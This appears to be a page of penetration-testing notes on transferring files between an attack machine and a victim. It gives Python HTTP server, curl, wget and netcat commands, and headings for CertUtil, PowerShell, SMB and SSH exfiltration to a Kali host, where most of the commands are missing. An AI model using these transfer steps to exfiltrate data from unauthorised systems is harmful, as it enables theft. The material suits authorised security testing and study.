File Transfers
Linux and Windows file transfers
Python HTTP Server
Python Simple HTTP Server is a straight forward process:exit: Ctrl+↩
# Hosting Machine
python -m SimpleHTTPServer
# Connecting Machine:
curl -o output.txt http://IP_Address:portnumber/filename.txt
#or
wget http://IP_Address:portnumber/filename.txtNetcat
# receiving/listening:
nc -l -p 4444 > outfile.txt
# sending/connecting:
nc -w 3 DEST_IP_ADDRESS 4444 < sendfile.txt‌CertUtil
‌Powershell
‌Setting up SMB Server
You'll need to make sure the entire packet suite is unpacked and installed in /opt with "pip install ." Then move the smbserver.py file to the working directory. More info: https://blog.ropnop.com/transferring-files-from-kali-to-windows/#setting-up-the-server
SSH transfers to Attack Machine (exfiltrate)
Ensure OpenSSH is available on Kali machine with:
Create a new user that can access SSH locally, so that you do not have to enter your credentials on the victim machine.
Edit the /etc/ssh/sshd_config file like so:
Stop and Stop SSH:
Using SCP to copy files over SSH.
Invoke Web Request (HTTP request like curl)
Last updated
Was this helpful?